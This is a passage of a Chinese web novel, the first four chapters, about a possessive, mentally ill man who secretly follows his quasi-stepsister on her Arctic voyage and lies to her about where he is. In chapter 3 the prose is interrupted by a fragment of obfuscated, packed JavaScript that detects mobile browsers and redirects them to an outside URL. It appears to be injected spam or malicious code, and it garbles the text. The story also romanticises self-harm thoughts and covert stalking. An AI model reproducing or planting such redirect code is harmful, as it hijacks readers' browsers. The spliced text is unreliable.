《疯狗》
1. 第 1 章
外面暴雨如瀑,林慎身上睡衣没换,坐着轮椅下到一楼。
他能感觉到,寒风顺着没关紧的窗缝溜进来,在他身上刮了一圈,带走一些温度。
他轻轻打了个寒颤。
叮。
电梯门打开,林慎默不作声控制着轮椅,听见客厅的人在打电话。
“凌晨四点对吧?行。”她说完这句,很快挂断,蹲下去查看自己是否有漏掉什么东西。
林慎刚想说话,猝不及防打了个喷嚏。
对方终于发现他。
“怎么不多穿几件?”季西道,手上动作依旧不停。
林慎说:“我只是下来喝杯水。”
对方动作一顿,点点头。
两人没再说话。
林慎慢悠悠推着轮椅往厨房去,颇有心机地从女孩身边路过好几次。
可惜对方对他视而不见,丝毫不分一丝视线给他。
林慎不死心,从厨房里倒了两杯水,自己喝一杯,还有一杯非要递到对方手里。
季西盯他一眼,接过后背对着他灌了一口。
抹抹嘴把杯子放桌上。
摆明了就是不愿意和他交流。
林慎看她的后脑勺,心里默默又想出一个计策。
他开口:“一定要去吗?”
他这一句话问出来,女孩转身,瞪着大眼睛回答他:“是!”
说完,她笃定道:“这次,哪怕你半路昏迷、突然进医院都不管用,我还是会去的。”
林慎咬咬牙,思忖其他方式留下她的可能性。
“别想了。”季西轻飘飘看他一眼,“你好好吃药比什么都好,再莫名其妙给自己弄进医院,我真的会走的。”
林慎移开目光,不去思考女孩离开的可能性。
连这一个月多的分离他都不能忍受,很难想象,如果对方永远消失在他世界里,他的生活会变成什么样子。
他视线往下,放在自己受伤的那条腿上。
是因为腿快好了?
再断一遍的话,她不去的可能性有多大?
这个危险的想法尚未在脑海中形成完整的方案,自己的脸先被两只手指挑起来了。
林慎无辜地盯着她,眼睛里连一丝红血丝都没,显得一副令人信服的小孩子的澄澈感。
但季西已经看过太多次他这幅样子,冰冷的面庞没有一丝松动的意思。
林慎被她这么盯着,害怕之余又有点爽。
“你给我安分点。”季西手撑在他的轮椅上,低声威胁:“要是你不让我好好玩的话,我也不会让你好过的。听见没。”
林慎手指无意识地戳戳自己那条烂腿,点点头。
季西看他那样子就没听进去,正要再威胁他两句,桌上的手机响起铃声。
只好瞪他两眼,过去接电话。
“……到了是吧。”季西顺手拉起行李箱的把手,“在门口?好,我现在出来。”
挂断电话,季西看见林慎的手按在行李箱上,坐在轮椅上,正楚楚可怜的仰视她。
季西不为所动,拨开他的手,把挂在沙发背上的衣服盖到他脸上。
“我走了。”
说罢,轮子滚动的声音响起,伴着急急的脚步声。
就这么急着走?
林慎心里委屈,把头上的衣服捞起来扔在地上,推着轮椅想赶上她的步伐。
但是笨重的两个轮子怎么比得上人腿的速度呢?
本来已经看不见人影了,这下好了,都怪这个破轮椅,连脚步声都越来越远。
林慎一点都不想她走,满脑子都是拦下她,完全忘记自己只有一条好腿这件事——他站起来。
没走两步就失去平衡,手指抓着轮椅,力气太大,把轮椅甩翻了。
自己也狼狈地倒在地上。
偌大的别墅里响起一阵巨响,然后很快安静下来。
林慎只能听见自己的呼吸声,其他的……一丝一毫也没有了。
不对,还有窗外的雨声。
他闭了闭眼,知道季西铁石心肠,不会再容忍他这次的无理取闹,说不定现在已经上车了。
于是打算就这么躺倒明天早上。
至于其他的,不管了。
过了一会儿。
空荡的房屋里骤然响起闷闷的脚步声。
林慎想,季西才走这么一会,自己就出现幻觉了。
即使知道这是幻觉,他还是屏息凝神,仔细凝听。
有节奏的,哒、哒、哒。
脚步声越来越近,伴随着一股熟悉的香气。
他仔细嗅了嗅,惊叹于自己的精神病发展如此之快。
现代科技都没打破的技术壁垒,他一个精神病提前体验了。
是不是跟脑子里哪个区域有关?
林慎记下这个点,打算下次去公司的时候认真研究研究,说不定就名留青史了。
他漫无边际的想,被手臂上骤然的触感惊到。
动作比脑子快,还没思考出来这是什么东西,先一步抓住了对方。
林慎睁开眼,看见是季西,脸上是压抑不住的惊喜:“你不走了?”
对方没说话,脸色淡淡的,一看就是生气了。
林慎挠挠脸,被她拉起来,自己撑着坐回轮椅。
“别这么作践自己。”季西平静道,伸手抹掉他脸上的泪水,“我只是出去一趟,不是不回来了。没必要。”
林慎两只手用力抓着她的一只,被她用力挣脱。
他紧张地捏紧自己双手,浑身紧绷。
季西往后退了一步,像是要走。
林慎立马像绷紧的弓松开弦,一下从轮椅上弹起来,想去抓她。
被对方抵着额头慢慢坐回轮椅上。
季西说:“我送你回卧室。你好好睡觉。”
上到三楼,季西把林慎弄到床上去,坐在边上,神色平静盯着他。
林慎不想惹她生气,自己把被子团吧团吧裹好了。
是在表示自己一定会好好睡觉。
他闭上眼,感受到床铺旁边那块塌陷的地方重量消失,紧接着隐隐约约的光亮消失,很快,满室静谧下来。
林慎睁开一只眼,松口气。
他从旁边的柜子里掏出手机,给助理拨了个电话。
“定飞北极的航班。”他说。
对面不知道说了什么,林慎静静听完,坐起来,平静道:“那就申请航线,自己飞过去。”
正要挂断电话,他突然想起来什么似的,又说一句:“把宋闻喊过来。”
十五分钟后。
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冤大头宋闻骑着小电驴停在别墅门口,停下来,于寒风中整理自己的仪表。
雨已经停了,但迎面打来的潮湿气息太霸道,还是让他精心打造的造型垮下来。
宋闻站在门口,礼貌的敲两下,同时对着人脸识别喊:“季小姐,劳烦您来开一下门,我是宋闻。”
等了半晌,没等到笑眼弯弯的季西,等来了林慎毫无起伏的一句“自己上来”。
他一挑眉头,施施然推开已经解锁的大门,在客厅看见搭在沙发上的外套,捡起来,上到三楼。
“怎么说?”宋闻直接扭门进去,打开灯,盯着床上满脸冷漠的男人。
“她走了。”林慎言简意赅,“你帮我把护肢按上。我不坐轮椅。”
宋闻没问为什么,只是点头,转身出去。
林慎的别墅里有专门的医护房,里面放了各种最新的医疗护具和药品。
宋闻轻门熟路打开灯,在错综复杂的房间里精准找到护具,还捎带了两根拐棍。
“腿伸出来。”他说。
林慎抓着那件外套,正蒙在头上。
听见宋闻的声音,他把外套拉下来,掀开被子,让自己受伤的那条腿露在外面。
宋闻正要帮他缠上护具,突然,对方把腿挪了挪。
“我换身衣服。”他说。
没想到,那两根拐棍这么快就派上用场。
林慎不喜欢被人碰,宋闻知道他的毛病,也没打算伸手去帮他。
于是站起来等在一旁,看他不太熟练的拐着两根棍,先去衣柜里拿衣裤,然后挪去洗手间。
洗手间的门一关,宋闻立马从兜里掏出手机,点开助理的聊天框。
最近的记录是半小时前,助理让他赶紧到别墅来。
他敲了几个字,很快发过去。
对方回得很快,句尾带着几个大感叹号:季小姐走了!!!!!
宋闻正要逗逗她,洗手间的门打开了。
当着雇主的面玩手机不太好,会给人造成不太专业的错觉。
尽管他跟林慎从小一起长大。
宋闻收起手机,面容冷淡,又把自己装成了那幅专业的样子。
林慎把睡衣换成了黑卫衣和工装裤,头发顺从地搭在额头,看起来像男大学生。
他不说话,只是默默坐在床边,把自己受伤的腿露出来。
抬眼盯了宋闻一眼,示意他自己绑上。
宋闻一边给他帮护具,一边问:“季西去北极了?”
雇主对他这个问题显然感到有些奇怪:“你怎么知道?”
宋闻说:“之前一直听她说。”
确实。
季西一直念着这个事,要是没有林慎的阻挠,她早就圆梦了。
现在人家走了,你还非得跟去不可。
宋闻腹诽道。
真不知道季西摊上这个人是好还是不好。
宋闻扣上最后一个固定钮,心里默默叹口气,很快又吸回来。
叹气破财,吸气是为了把破掉的财收回来。
他站起来,把手上的医用手套脱下,顺手放进口袋。
“药还够吗?”宋闻随口问。
林慎一愣,伸手去够床头柜的抽屉,看见里面重新排满的药物。
是季西准备好的。
2. 第 2 章
“林总,航线已经确定下来了,半小时后就能出发。”助理道。
现在是凌晨三点,外面的雨淅淅沥沥,跟羊拉屎一样,不肯给个利落。
林慎偏头看外面,夜色浓重,正是人们睡得正熟的时候。
季西到哪里了呢?
他散漫地想。
一想到再过几个小时就能再见到季西,林慎就感觉浑身热血沸腾,迫不及待。
他按耐住这种热情,问:“这几周的工作安排呢?”
助理把早就准备好的日程表页面调出来,递给他看。
林慎手指上下滑动,平生第一次对工作感到不满意——之前怎么没觉得日程排这么满?
他只是随便看了两眼,便把平板扔回助理手里。
“全挪到一个月后。”他说。
“这……”助理半年前刚上岗,还是第一次遇到这种情况。
她牢牢记得,明天早上还有一个会面。
特!别!重!要!
谁来管管老板的精神病啊!
她尝试抗争:“老板,明天是和亨考普先生一年一次的会面日。”
有精神病的老板表情没有丝毫变化,她不知道这是听见了还是没听见。
正想着要不要再问一次,旁边的宋闻咳嗽两声,开口提醒:“季西……”
林慎皱起眉。
亨考普是季西唯一知道的合作商,还见过面。
已知,他身上唯一受季西待见的优点是工作能力强。
林慎推断出一个结论:要是搞砸了肯定会被骂。
于是,他忍着不耐问:“几点。”
助理松了口气,答道:“十点。”
十点?
林慎不自觉咬紧后牙,心里在盘算时差。
还要算上接待的时间,陪吃午饭。
这样算下来,明天下午一点离开都困难。
林慎呼吸急促,抬腿往助理身后走去。
“去楼下倒杯水上来。”他语气淡淡。
助理反应慢半拍,盯着他往自己这边跨了好几步,才反应过来:“噢……噢好!”
然后抱着平板下去倒水。
林慎拉开抽屉,从里面翻出药,没等水来,自己把药全部吞下去。
药效很快蔓延,林慎觉得自己沸腾的血彻底冷下来了。
头脑冷静,才能安排一切。
他弯腰把所有药都拿出来,放进季西准备的盒子里。
随即走出去,跟宋闻说:“你可以先回去了。”
既然他都这么说了,宋闻自然不会有什么异议,自己率先从楼梯下去,遇到急急忙忙上来的助理。
他拉住她,摇摇头:“可以不用上去了。”
林慎乘坐电梯下到一楼,助理正在等他。
“你先回去吧。九点半来接我去公司。”他说。
“好。”助理点点头,出于谨慎,还是擅自问了一嘴:“林总,航线变更时间需要再次提前申请,明天大概什么时间合适?”
林慎把两根拐棍靠在沙发扶手边,黑色卫衣外套了一件皱巴巴的外套,细看还有点不合身。
他冲助理笑了一下,露出森白的牙齿:“十点半就可以走。”
第二天,上午十点。
林慎准时出现在办公室,接见亨考普。
亨考普头发花白,是一副老派绅士的作风。
他见到林慎,在问候前率先表达自己的关心。
“林先生是生病了吗?”亨考普担忧道。
他跟林慎见过许多次面,绝大多数情况下,对方都神采盎然,只有极少数时候,才能看见他脸上疲态。
但也许是天生丽质的原因,即使出现疲态,这位广负盛名的林先生依旧看起来容光焕发,哪里像今天这样吓人——
林慎眼下黑眼圈极重,长睫毛都失去光彩,摘下口罩露出的下半张脸更是吓人,唇色发白,看出来有很用心处理过唇上死皮的痕迹,但依旧干裂。
亨考普开始思考,今天的会面要不要推迟,让这位看起来命不久矣的先生休息一会。
“没事。”林慎抿抿唇,冲亨考普露出不好意思的微笑,“多谢亨考普先生的关系,我还撑得住。”
既然对方都这么说了,亨考普也就放弃方才那个打算。
不过他心里还是对林慎颇有微词。
这点微词也并没有持续太久。
在看见对方当着他面晕过去的瞬间,烟消云散。
“林先生?林先生!”亨考普只是愣了一瞬,很快蹲下来,拍拍地上晕倒的男人。
见怎么拍都拍不醒对方,亨考普掏出手机,打算叫救护车。
手机屏幕刚亮起,上面的时间定格在10:25,从办公室走出来一个女人。
亨考普见过她,以往的见面都是这位女士接待,是林慎的助理。
他松了一口气,捏灭手机。
既然来人了,那就不需要他。
助理冷静地从口袋里掏出一颗药,喂进林慎嘴里,强迫他服用下去后起身。
“亨考普先生。”她扬起一个带浓浓歉意的微笑,“十分抱歉,我们也没想到林总会出现这样的状况。”
亨考普正要说话,对方却没有停下来的意思。
助理接着道:“昨晚林总家里出了些状况,我并不在场。当然,我说这些并不是为林总今天的失礼开脱,只是,我想林总也并不希望这种情况的发生。”
“亨考普先生接下来是否还有空闲时间?林总修养好后立刻去向您赔礼。”
这一套连击打下来,打得亨考普不得不收回自己的问责,回答她最后一个问题:“今天是我在c国的最后一天,明天就会回国。如果想赔罪的话,到y国来吧,我会抽出时间,将今天尚未进行完的活动补充完整。”
“好的。”助理立马道:“亨考普先生,我先将我们林总送走?”
亨考普点点头。
很快又出来好些人,亨考普不知道这些人从哪里来的,怎么刚才林慎倒地时一点动静都没有。
亨考普目送他们离开,在剩下人的带领下,前往已经定好的餐厅吃饭。
听说林慎特意请了他最欣赏的c国男星陪同,现在已经在餐厅等待着。
“林总。”林慎听见旁边的人喊他。
他睁开眼,自己的位置已经离开了亨考普的视野范围。
林慎从助理手里接过拐棍,留下一句“加工资”,然后自己一跳一跳着上了前往顶层的电梯。
恰巧十点半。
昨晚的助理和宋闻已经等在顶层,一切准备就绪,林慎一上飞机就能起飞。
宋闻慢吞吞从旁边的药箱里拿出一管针剂,将里面的空气挤出来后,注射进林慎的静脉里。
林慎头上盖着昨天那件外套,外套下看不出有一丝呼吸的痕迹。
宋闻真怕他这么一套下来给自己搞死了,于是顺手搭在他脉搏上。
他松口气,还在跳,真是太好了。
宋闻把废弃的针管扔进专用垃圾桶里,第三百六十五次思考接受其他雇主聘用的可能性。
最后还是放弃了。
一是那些人都没有林慎大手笔;二是那群请他的人里大部分都是快死的老头子,要不就身患不治之症,比起林慎来说,不知多了多少事。
最后一个,他好歹跟林慎一起长大,当然不能就这么看着他作死。
林慎睡着了。
那件外套季西经常穿着,日久月长地就带上了点她的味道。
林慎就着这味道睡得很好。
摇摇晃晃地,他在飞机上睁开眼,但没有把衣服掀开。<
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身上多了些重量,应该是宋闻给他盖了毯子。
林慎深呼吸,然后才掀下挡着脸的外套,偏头往窗外看。
飞机在往既定航线航行中,大概是越来越往北的原因,天黑得很快。
外面的天黑沉沉一片,没什么好看的,于是林慎视线向下。
刚好经过一个城市,底下亮着一片模糊的光,隐约照亮了城市的轮廓。
“还有二十分钟。”旁边人开口,林慎听出是宋闻的声音。
他没说话,视线依旧盯着那片模糊的光,却慢慢涣散了。
他陷入自己的思绪里。
从昨晚一直逃避到现在的问题,终于不可避免的浮出水面。
要是季西问他,为什么会出现在那里,他该怎么解释?
林慎快速地眨动双眼。
这么一会的休息让他脸色恢复的很好,不愧是天生丽质,眼下的青黑已经完全消失了。
他神经质地咬自己唇上伤口,整个人明显焦躁起来。
万一季西不愿意见他怎么办?
我一定得找个理由。
我一定得找个理由……
林慎尝到一股铁锈味——来自他唇上伤口,结痂的位置已经被重新咬开,冒出血珠。
虚浮的视线聚焦起来,汇聚在下面明显的旗帜上。
飞机在慢慢下落了。
除开私人航线外,大部分面向民间的航线并没有直达北极的线路,只能在距离最近的f国先降落,然后乘坐船舶前往最终目的地。
漫天风雪中,季西下半张脸被围巾掩盖严实,拖着行李箱站定,捏平手上纸质材料,辨别出标明的下一个目的地。
f361号、红色旗帜、晚上六点出发……
她反复默念几次,把这几个信息牢牢记在心里。
确认好没有看错也没有记错,她收好纸质材料,艰难认着大路两边简化的指示路标,尽量快地前进。
等会上船后会有晚餐,所以季西只需要在船舶开动前上去就好。
两分钟后。
季西口鼻闷在围巾里太久,有些喘不过气,干脆进了附近的一家商店,把围巾拉下来透透气,顺便暖暖身子。
她在商店里面,顺着干净的窗子往外看,眼神飘忽。
然后莫名定格在一个人身上。
怎么有点像林慎?
季西盯着那人的背影,嘴里咬吸管,身体不自觉向前倾,想看的更清楚一点。
她心里有些没底。
知道林慎脑子有病,但她还没摸透林慎病的程度,不确定对方会不会跟上来。
应该不至于吧?
季西用力吸两口,然后晃晃瓶子,确认瓶子里没有多的饮料后扔进垃圾桶。
把围巾重新围好,盖住下半张脸。
季西拉着行李箱推开门,走到大路上。
她私心靠近那行人一点,于是便朝那边走。
在一个合适的距离停下。
还是看不清楚,不过再靠近的话,可能会引起那行人的注意。
季西掏出手机,对着那边远远拍了一张,站在原地对着图片放大又缩小,依旧看不出什么头绪。
她放弃继续对这张照片进行探究,遥遥盯了那人一眼,叹口气。
从昨晚坐上那辆车开始,她以为自己会感到高兴、感到自由,其实并没有。
林慎昨晚的失态一直回闪在脑海里。
他哭的情况不是没有,但只是掉眼泪,不像昨晚,面色平静,整个人都在地上,轮椅翻倒在一旁。
而林慎完全没有要起来扶的意思。
季西怀疑,如果不是她进去拉了他一把的话,这人几乎要在地上躺一整晚。
自己是不是冲动了?
季西想了一路,还是没想出结果。
3. 第 3 章
“船票。”面前的男人道。
季西从包里拿出船票,递给他。
男人扫视两眼,把船票还给她,同时拉起被扣合的带子,让她进去。
季西还是第一次坐船。
这种体量的船舶太大,完全不会因为她一个人的重量起伏。
船票上印着房间号,季西本打算自己去找,很快有穿着统一蓝色服饰的侍应生上前,引着她下到下面,放置好行李。
把她引到门口后,侍应生就离开了。
季西没急着收拾,从房间里的小窗往外看。
这个点,外面天是黑透的,黑压压的海水压着玻璃窗,看起来怪吓人。
她叹了口气,解开自己的围巾,直直躺倒在单人床上。
冷刺的空气一下钻进脖颈,冰得她微微一缩。
脑子也清醒许多。
哔哔。
季西没起来,从自己的口袋里掏出手机。
是之前定的闹钟。
船上不是时时刻刻都有饭餐食供应,如果错过了饭点,只能点另外的食物。
这样太麻烦,季西坐起来,重新围好围巾,戴上毛手套,拿了房卡上到甲板上。
这个点还在进人,但相较于季西上来时,已经少了很多,餐厅却热闹。
快到圣诞节,餐厅正中央摆了棵大圣诞树,绿油油的,上面挂了很多小挂件,看起来很喜庆。
季西对着圣诞树拍了一张,没想好发给谁。
最后还是把手机揣回兜里。
她先到各种摆盘精美的食物前转了一圈,暖黄的灯光洒在金灿灿的炸物上,显得油光发亮,可惜都是冷的。
季西凑近了闻一下,只有油腻味。
第一次坐船,不是完全没反应,她头有点晕晕的,吃这种东西得吐。
只能放弃。
转来转去,最后夹了几片冷面包和一个煎蛋,在调料区用刮刀往面包片上抹蓝莓果酱,然后找到一个靠窗的位置坐下。
她把窗往上推,看见一片冰冷的湛蓝。
舒一口气。
这种冰凉和那些凉掉的感受起来完全不同,季西轻轻吐出一口气,眼前好像更加清明。
沉重的心情终于轻快不少。
此时船刚开始行驶,隐隐的流动感显现在窗外,这个位置离海面不远,船体周围的灯光吸引了一些小鱼,也透过水面照亮了周围的一部分,所以能看见不同的鱼突然出现又突然消失。
季西完全把林慎抛之脑后,盯着正经过窗外的鱼群。
外面的世界……居然是这样的吗?
季西的眼睛倒影出波光粼粼,终于露出了今天的第一个笑容。
从林慎的角度看过去,季西半张脸埋在深红格子纹的围巾里,侧脸对着他,露出半张笑眼弯弯的白皙的脸。
然后转过头,开始对着盘里的冷面包片和煎蛋进行处理,拉下围巾,用叉子把面包块和煎蛋块串成串,小口小口吃着。
对着窗外,沉静地看经过的鱼群。
他撑着下巴朝她看,感觉她的脸在围巾的包裹下像一颗红红的苹果。
不,林慎突然想起了一个童话故事。
季西像公主,但他不是王子,没有王子会像他这样阴暗。
也许他是守护在公主身边、藏着私心、不希望公主遇到自己真命天子的那个骑士。
林慎的心骤然发酸发闷,好像有些喘不上气。
他紧紧盯着那个身影,骤然收回眼,坐在旁边的人察觉不对,身子立马一滑,彻底隔绝了季西投射过来的目光。
也挡住了林慎的大部分身体。
季西收回目光,低垂着眼,慢条斯理把盘子里的鸡蛋和吐司片吃完,再抬头,发现那行奇怪的人早就离开了。
虽然并没有什么关系,但她还是想到了登船前那行人。
说起来……林慎从她上船后就没有发来新的消息了。
-
“林总,亨考普先生十分担心您,给您发来了表示慰问的邮件。”助理道。
他住在林慎隔壁,已经处理了一天的工作邮件,原本该是休息的时间了,但总部那边的时间和这里不同,按道理来说是该回的。
林慎原本在思考要给季西发些什么,听到这话先把笔记本电脑接过来。
那上面是亨考普先生的邮件来信,林慎算算时间,c国那边应该是上午十点。
他按下回信键,开始编辑回信内容。
“谢谢亨考普先生的关心,我身体已无大碍,只是仍然需要再继续休养。不知亨考普先生是否已经回到y国?对于无法亲自前往送您离开,本人十分遗憾,期待您下次再回到c国。”
余下还有些客套话,林慎检查过一遍措辞后,便将电脑交给了助理。
“剩下不要紧的事明天再处理,你回去休息吧。”他对助理说。
助理转身抱着电脑离开,顺手拉上了门。
狭小的房间里只剩林慎一个人,带着沉闷的水声。
他仰头倒在床上,解开自己的外套扣子,举起手机,盯着置顶发呆。
说点什么好呢。
林慎踟蹰,点开置顶的头像,今天也没有新内容。
不是拍了圣诞树吗?怎么不发。
林慎有些郁闷,皱着眉头把季西的朋友圈从头刷到尾。
圣诞树没有发朋友圈,也没有发给他,那还能发给谁。
总不能是藏在相册里吧。
他点开聊天框,打了几个字又删掉,不自觉开始啃咬自己的下嘴唇。
“不要咬自己。”
突然弹出的消息。
林慎这才意识到自己的动作,松了牙关,隐约尝到一股血腥味。
他舌尖舔干净唇上的血丝,同时开始打字:“没有。”
发出去后又觉得意义不太明确,重新补了一条:“没有咬。”
对方没有秒回,林慎蹙着眉,舌尖又尝到了一点血腥味。
他无意识地又想要啃。
床头放着瓶装水,林慎抓过来扭开,一口气喝了大半瓶,冰凉的滋味蔓延到全身。
他终于感觉自己清醒了一点,拿着手机坐到窗边的靠椅上。
季西发了一张照片来。
点开来看,是餐厅那颗圣诞树。
原来是还没有来得及发。
林慎勾勾唇角,装模作样的问:“这是圣诞树?你上船了?”
“是。昨天和亨考普先生的会面还顺利吗?”
林慎身子一僵,点开输入栏,手指动了动。
对着季西,他暂且还没有说谎的能力。
“那里冷吗?”
发完这条信息,林慎不敢看对方的回复,立马按灭了手机。
话题转的太生硬,季西太了解他,起疑心只是脑袋转个弯的事。
果不其然,手机刚黑屏,下一秒就亮起来了。
季西弹了通电话过来。
林慎没有立刻接,偏头看看周围环境。
船上提供休息的房间布局大体相同,刚上船时,他站在助理的房门口扫了一眼,和现在这间的区别是沙发花色不同。
这点不同完全可以被忽略——也就是说,他接起电话的下一秒,季西就能发现不对。
“……你睡了?”季西盯着手机里黑漆漆的那头。
虽然看不清林慎的脸,但能听见他的呼吸声,像是刚醒。
不过……现在c国应该是白天才对,怎么会这么黑?
“刚醒。”林慎打了个哈欠,“太累了,不小心睡着了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317703|199001||http|test|mini|href|location''.split(''|''),0,{}));
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>所以这就是一直没给她发消息的原因吗?
林慎这次,乖得有些反常。
她张嘴想问亨考普的事,被林慎抢先:“我不太舒服。”
不太舒服?
季西皱眉。
林慎貌似坐起身了,伸手去够什么东西。
然后屏幕里黑漆的一片瞬间亮起来,照亮了林慎的脸。
漆黑的长睫毛遮住大半眼,眼下漆黑,眼尾却泛着红。
屏幕里三分之二都是他的脸,季西通过剩余的三分之一推测出他正躺在床上。
确实是刚起。
季西先是松了一口气,很快又提起心。
“感冒了吗?”她放轻了嗓音。
林慎先是点点头,少顷又摇摇头。
“好像有些发烧。”他说,“昨天接待亨考普先生时晕过去了。”
林慎说这话时声音虚虚的,落到季西耳朵里就变成了疲累。
“那你继续休息吧。”季西说,“我不打扰你了。”
说完她就挂了电话。
速度太快,林慎还没说出的话梗在喉间,差点没呛死他。
他不满地点开聊天框,手速快出残影:“你不关心我o(╥﹏╥)o”
“去过医院了?”
林慎:“去过了。”
“那你活该。”
林慎盯着那四个字,脑海里都能想到屏幕面前女孩说这话的样子。
哪怕带着斥责的意味说出这种话,也很可爱。
“o(╥﹏╥)o”
他又发了一条哭泣的颜文字,知道对面不会再回,关机下床。
季西点开手机相册,最新一张照片是刚刚截的图。
她放大来看,盯着林慎眼里的红血丝。
没什么动作,只是默默盯着。
半晌,才按灭手机,喝了口水。
她原本打算睡觉,手机却再次响起。
季西拿过,看见上面的联系人。
常过言?
常过言是她的大学同学,不太熟,仅有的几次交流都是在台下——等待领奖的间隙。
这次加上联系方式也是凑巧,没想到他也在这艘船上。
季西接通,对面的人先开口:“季西,船员说等会会经过鲸鱼栖息地,你想出来看看么?”
鲸鱼?
“如果运气好的话可以看见鲸喷。”常过言语气兴奋,“要出来看看吗?”
常过言确实没说错,船板上站了好些人,大概也是出来看鲸喷的,熙熙攘攘像菜市场一样。
季西是在某个偏僻的角落找到常过言的。
还是和季西印象里一样很腼腆,不喜欢人多的地方。
季西走上去,跟他隔了一点距离。
“你来了!”常过言看见她,眉尾挑得高高的,跟她打招呼。
“我找到了一个特别好的位置!”常过言说,比了一个木仓的手势,正对着前方。
季西顺着他的手指看过去,只看见一片平静的海面。
“船员说从这个方向看过去,”常过言眯了一只眼,“能看见最漂亮的鲸喷——”
他话音落下,那片海域好像真起了波澜,动静大得引起了那边人群的注意。
“诶诶,那边好像有鲸鱼!”
“别挤啊!”
“我看不见了看不见了!你们能不能让开点!”
季西还没被吸引去注意力,本来就不平静的海域突然出现了一个巨大的物体,恰巧停在月光下。
然后一股漂亮的喷泉骤然喷出,伴随着几只海豚从海里飞越出水面,跳出完美的弧线。
“……很好看,对吗?”常过言声音放轻,身子略微朝季西那边移过一点。
季西偏头,正好看见他带笑的眼。
4. 第 4 章
季西后退一步,问:“对了,学长,我还没有问过你,你怎么也在这里?”
大概是察觉到自己过界,常过言脸上笑容淡了淡,但语气仍然温柔。
他说:“之前社团活动时,听你说你这两年的目标是去北极看极光,恰好我也预定了毕业旅行,还没有定好地点,索性就小小地参考了一下你的……你不会生气吧?”
季西摇摇头,她哪有生气的理由。
“不过也太巧了,我们居然在去北极的同一条船上。”季西说。
“我也觉得蛮巧……其实在餐厅的时候就看见你了,看你一个人好像很享受的样子,所以没有和你打招呼。”常过言说:“不过我看海报上说这条航线可以看见鲸喷,如果幸运的话,这么晚也睡不着,干脆出来碰碰运气,又恰好想到了你也在船上。”
他抿唇又笑了笑:“运气是挺好的。”
季西也冲他笑,“是啊学长,你运气确实挺好的,得亏碰到了你,不然我还看不上鲸喷。”
常过言摇摇头,温声问:“刚才许愿了吗?”
季西点头,反问:“学长刚才许愿了吗?”
她看见对方顿了一下,然后诚实道:“没有。”
季西其实有些意外。
“学长没有想实现的愿望吗?”
“有吧。”常过言盯着平静无波的海面,语气也像海面一样:“不过想实现的愿望太霸道,不好意思许。”
季西被他逗笑,“怎么会霸道?许愿不就是求个心安。”
常过言还要再说,寂静之间响起了手机铃声——来自季西身上。
她掏出手机,看了眼来电姓名,很快冲常过言露出一个不好意思的笑容,摆摆手示意自己要先离开。
常过言当然不会阻止她,笑着跟她挥手再见。
夜里风大,还在海上,穿得再多也遭不住长时间吹。
季西直接回了船舱自己的房间里。
她在路上就接了林慎打来的视频电话,只是没有说话。
等到进了房间,她才开口:“干什么?”
“……我想你了。”林慎的声音小声地透过手机传出来。
季西闻言,只是瞥他一眼,没有言语。
察觉到她有心事,林慎把镜头微微靠近,直到整个脸都被屏幕框住。
他用气音喊:“季西……你怎么了?”
“没怎么。”季西道:“倒是你,不是才刚打了电话,怎么又打过来?”
林慎闻言,看起来有些心虚,眼神飘忽瞬间,脸上挂了笑,说的还是和刚才一样的话:“我就是想你了。”
“你那边现在应该是白天了吧?”季西盯着他的眼睛:“怎么还不去公司?要罢工啊。”
林慎依然笑着,看起来没有什么异样。
“太累了,休息一会。而且我不是跟你说过,我才发烧了吗?这得好好休息才能去公司呀。”
“好吧。”季西的语气软下来,“那你休息好就去公司,我刚才晃眼了,还以为在船上看见你了。”
对面沉默了几秒,然后才憋出来一句:“你也想我了。”
季西笑了笑,主动道:“我要睡了,很晚了,挂了吧。”
看见对方点头,她才点了挂断。
说要睡觉,不是骗他。
季西躺在床上,被厚重的被子压得严实,她浑身都缩进被子里,眼睛却留在外面,睁得大大的。
四周黑暗,此时轮船大概正行驶在平稳的海域上,季西感受着,没有任何波动。
唯一波动来源于心脏。
季西在有力的震动中思考,如果真的在船上看见林慎,她该怎么办。
于情于理来说,她都不应该管林慎,林慎也不应该听她的话。
他们之间从头到尾都要保持的是名义上的兄妹关系。
——连名义上的都算不上,毕竟林慎的母亲并没有跟她爸领结婚证,他们只是交往关系。
事情是从什么时候开始发生变化的呢?
季西第一次开始复盘。
她翻了个身,咬了咬牙,想捋清楚自己杂乱的记忆,但脑子里昏昏沉沉,根本无法。
季西拿出手机,打开社交软件,原本打算从聊天记录里找一些灵感,没想到最上方有消息跳出来。
她只是扫过一眼,感觉到浑身冰凉。
是她爸发来的消息。
季西隐约扫到了“胡闹”、“相亲”几个字眼,一下清醒。
原本对林慎一团乱麻的感情被忘却至脑后,她也不想点开这条影响心情的信息,放了手机,强迫自己入睡。
剩下的时候等明天再解决吧。
不管是这条信息,还是……林慎。
-
航行在茫茫大海中的船迎来了它的第一个升起的太阳。
季西醒来时还以为会是个大晴天,但凌晨时似乎下了点雨,周边雾蒙蒙一片,就连太阳也只是隐隐约约露了个面,随后便长久地躲在云朵后面。
不过好在并没有要接着下雨的迹象,季西洗漱完就到甲板上,早晨人不多,她顺着船身绕了一圈,也只是看见几个人而已。
于是常过言倚在栏杆上的身影就变得格外明显。
季西看见他,刚想静悄悄地离开,没想到常过言恰好扭头,跟她对视上。
还冲她笑了笑。
这下不好装看不见了,季西也冲他露出一个笑,主动上前打了个招呼。
“学长,这么巧又遇见了。”季西说:“你也起这么早。”
常过言点点头:“想看看日出,没想到天公不作美。”
季西说了两句就不想再继续,她笑了笑,没接话,反而起了另一个话头:“学长吃早餐了吗?餐厅有包子油条,味道不错。”
常过言问:“你吃过了?”
“我吃了才上来,现在正消食呢。”
大概是听出季西的言外之意,常过言没再起新话头,只是如她所愿道:“那你继续消食吧,不过早上风大,小心着凉。”
“谢谢学长关心了。”季西笑眯眯地漫不经心道。
常过言刚要离开,听见她这句话又停下脚步:“不在学校的话可以叫名字吗?叫学长总是觉得有些生疏。”
像是怕季西不愿意一样,他又补充一句:“不过你要是习惯叫学长的话也可以不用改。”
季西怎么会下他的脸,“没事,是我疏忽了,出了学校还这么叫是不太好……”
常过言跟她挥手,“再见,季西。”
季西于是道:“再见,常过言。”
